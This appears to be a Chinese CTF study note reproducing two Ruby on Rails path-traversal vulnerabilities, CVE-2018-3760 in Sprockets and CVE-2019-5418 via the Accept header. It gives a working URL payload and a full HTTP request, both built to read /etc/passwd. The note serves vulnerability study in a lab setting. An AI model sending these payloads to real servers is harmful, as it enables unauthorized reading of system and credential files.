「配枪朱丽叶。」

RootのCTF学习笔记。

Ruby On Rails漏洞复现

Ruby On Rails 路径穿越漏洞(CVE-2018-3760)

Ruby On Rails在开发环境下使用Sprockets作为静态文件服务器,Ruby On Rails是著名Ruby Web开发框架,Sprockets是编译及分发静态资源文件的Ruby库。
Sprockets 3.7.1及之前版本中,存在一处因为二次解码导致的路径穿越漏洞,攻击者可以利用%252e%252e/来跨越到根目录,读取或执行目标服务器上任意文件。

第一步,直接访问http://your-ip:port/assets/file:%2f%2f/etc/passwd

然后获取到允许访问的目录列表。随便选择其中一个目录,如/usr/src/blog/app/assets/images,然后使用%252e%252e/向上一层跳转,最后读取/etc/passwd。

payload:
http://ip:port/assets/file:%2f%2f/usr/src/blog/app/assets/config/%252e%252e/%252e%252e/%252e%252e/%252e%252e/%252e%252e/%252e%252e/%252e%252e/%252e%252e/%252e%252e/%252e%252e/etc/passwd

Ruby on Rails 任意文件读取漏洞(CVE-2019-5418)

如果开发者在使用 render 渲染文件内容却没有指定接受格式,就会导致服务器上的任意文件被渲染,造成文件内容泄漏。
在控制器中通过render file形式来渲染应用之外的视图,且会根据用户传入的Accept头来确定文件具体位置。我们通过传入Accept: ../../../../../../../../etc/passwd{{头来构成构造路径穿越漏洞,读取任意文件。

第一步,访问/robots 正常抓包:

利用漏洞,发送如下数据包,读取/etc/passwd:

GET /robots HTTP/1.1
Host: 219.153.49.228:46393
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:52.0) Gecko/20100101 Firefox/52.0
Accept: ../../../../../../../../etc/passwd{{
Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
DNT: 1
Connection: close
Upgrade-Insecure-Requests: 1